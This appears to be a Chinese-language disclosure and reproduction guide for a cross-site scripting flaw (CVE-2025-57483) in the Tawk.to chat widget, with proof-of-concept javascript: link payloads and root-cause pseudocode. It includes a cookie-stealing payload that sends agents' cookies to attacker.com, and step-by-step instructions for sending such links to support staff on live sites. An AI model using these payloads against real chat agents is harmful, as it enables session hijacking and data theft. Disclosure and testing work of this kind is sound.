Tawk.to 在线客服系统跨站脚本(XSS)漏洞披露 (CVE-2025-57483)

3 阅读5分钟

CVE-2025-57483: Tawk.to 在线客服系统跨站脚本(XSS)漏洞

CVE ID: CVE-2025-57483

报告者: Jainil Borisagar

披露日期: 2025-07-05

项目简介

Tawk.to 是一款功能强大且广受欢迎的免费在线客服聊天工具,被全球数百万个网站使用,用于网站所有者和访客之间的实时沟通。其提供的 Live Chat Support Widget (在线客服支持插件) 通过嵌入网站,使客服人员能够即时响应客户咨询。

本项目旨在披露并分析在 Tawk.to 客服插件中发现的一个跨站脚本 (XSS) 安全漏洞 (CVE-2025-57483)。该漏洞允许远程攻击者在客服人员的后台界面执行任意 JavaScript 代码,从而窃取敏感信息或进行越权操作。

功能特性

  • 漏洞标识:拥有官方分配的 CVE 编号 CVE-2025-57483
  • 攻击类型:跨站脚本 (XSS) 攻击。
  • 攻击目标:使用 Tawk.to 在线客服系统的客服人员(员工端)。
  • 攻击入口:通过向客服人员发送包含恶意代码的链接。
  • 核心危害:攻击者可在客服人员的浏览器上下文中执行任意脚本,可能导致:
    • 会话令牌和 Cookie 窃取。
    • 以客服人员身份执行操作,如查看或修改客户对话记录。
    • 窃取内部信息,进一步扩大攻击面。
  • 影响版本:主要影响 https://embed.tawk.to/5c01891340105007f37a70b9/default 这一特定版本及其相关的 v4.x 系列。

安装指南

本部分主要为希望复现、测试或分析此漏洞的安全研究人员提供环境搭建指引。

系统要求

  • 一个使用受影响 Tawk.to 聊天插件 (v4.x) 的网站。
  • 拥有一个 Tawk.to 客服人员账号,用于登录后台并接收消息。
  • (可选)用于测试的本地或远程服务器环境。

复现步骤

  1. 确认环境:找到一个仍在使用受影响版本 Tawk.to 插件的网站。您可以通过查看页面源码,搜索嵌入的 tawk.to 脚本或 iframe 的 src 属性来确认。若 src 中包含类似 https://embed.tawk.to/5c01891340105007f37a70b9/default 的路径,则表明环境可能存在漏洞。
  2. 准备Payload:构造一个包含恶意 JavaScript 代码的链接。最简单的PoC(概念验证)链接如下:
    <a href='javascript:alert(document.cookie)'>Click Me !</a>
    
    此链接在被点击后会弹出一个包含当前页面 Cookie 的警告框。
  3. 触发攻击:以访客身份,在使用了该 Tawk.to 插件的网站上,通过聊天窗口将此链接发送给在线的客服人员。
  4. 观察结果:当客服人员在聊天后台看到此消息并点击该链接时,恶意 JavaScript 代码将在客服人员的浏览器中执行,弹出包含其会话 Cookie 的窗口。这证明了 XSS 攻击成功。

使用说明

本部分为安全测试人员在获得授权后,验证漏洞存在性的具体操作指南。

基础验证示例

假设您正在对一个使用了易受攻击 Tawk.to 插件的网站 example.com 进行授权渗透测试。您可以按照以下步骤验证漏洞:

  1. 访问目标网站,找到并打开其 Tawk.to 聊天窗口。

  2. 发送恶意载荷。在聊天输入框中输入以下内容并发送给客服:

    <a href="javascript:alert('XSS Vulnerability')">点我查看优惠</a>
    
  3. 等待客服响应。当客服人员(目标)看到这条消息并出于好奇点击了“点我查看优惠”这个链接时,其浏览器会立即弹出一个内容为“XSS Vulnerability”的对话框。

    • 攻击者视角 (发送消息):

      [访客]: <a href="javascript:alert('XSS Vulnerability')">点我查看优惠</a>
      
    • 客服人员视角 (点击链接后): 浏览器弹出一个警告框,显示 “XSS Vulnerability”,证明 JavaScript 代码已成功执行。

典型攻击场景

更进一步的攻击者不会仅仅使用 alert,而是会使用更具破坏性的载荷,例如窃取 Cookie:

<a href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">查看详情</a>

当客服点击此链接时,其会话 Cookie 会被发送到攻击者控制的服务器 attacker.com,攻击者即可利用该 Cookie 劫持客服会话。

核心代码

漏洞触发载荷

这是用于触发漏洞的核心代码片段。它是一个简单的 HTML 链接,通过 javascript: 伪协议嵌入了恶意脚本。

<!-- 基础概念验证 (PoC) 载荷 -->
<a href='javascript:alert(document.cookie)'>Click Me !</a>

<!-- 说明: 
     1. 此代码作为普通文本消息通过聊天窗口发送给客服。
     2. 客服端的聊天应用程序未能正确过滤或转义此HTML代码,使其被渲染为可点击的链接。
     3. 当客服点击该链接时,`javascript:` 协议指示浏览器执行后面的JavaScript代码。
     4. `alert(document.cookie)` 是一个无害的示例,用于证明脚本执行能力。实际攻击中可替换为任意恶意代码。
-->

漏洞存在的根本原因分析

漏洞产生的原因在于 Tawk.to 客服客户端未能对用户输入的消息内容进行充分的 sanitization(消毒/过滤)处理。尤其是当消息内容包含 HTML 或 JavaScript 代码时,系统没有将其转义为普通文本,而是直接渲染并执行了这些代码。下面的伪代码展示了这一过程:

// 易受攻击的服务端/客户端处理逻辑 (伪代码)

// 1. 访客发送的消息到达服务器
function onReceiveMessageFromVisitor(messageContent) {
    // 漏洞点:没有对 messageContent 进行转义或过滤
    // 例如,没有将 '<' 转义为 '&lt;',将 '>' 转义为 '&gt;'
    
    // 2. 服务器将此消息原样推送给客服客户端
    pushMessageToAgent(messageContent);
}

// 3. 客服客户端接收到消息并渲染
function onDisplayMessageToAgent(rawMessage) {
    // 漏洞点:使用 innerHTML 或其他不安全的方式将消息插入DOM
    // 这使得 rawMessage 中的 HTML 标签被浏览器解析和执行
    document.getElementById('chatWindow').innerHTML += rawMessage;
    
    // 正确的做法应该是使用 textContent 来避免HTML注入
    // document.getElementById('chatWindow').textContent += rawMessage;
}
```FINISHED
6HFtX5dABrKlqXeO5PUv/1L+Fcpu6S2sFPRcRxVqPW8=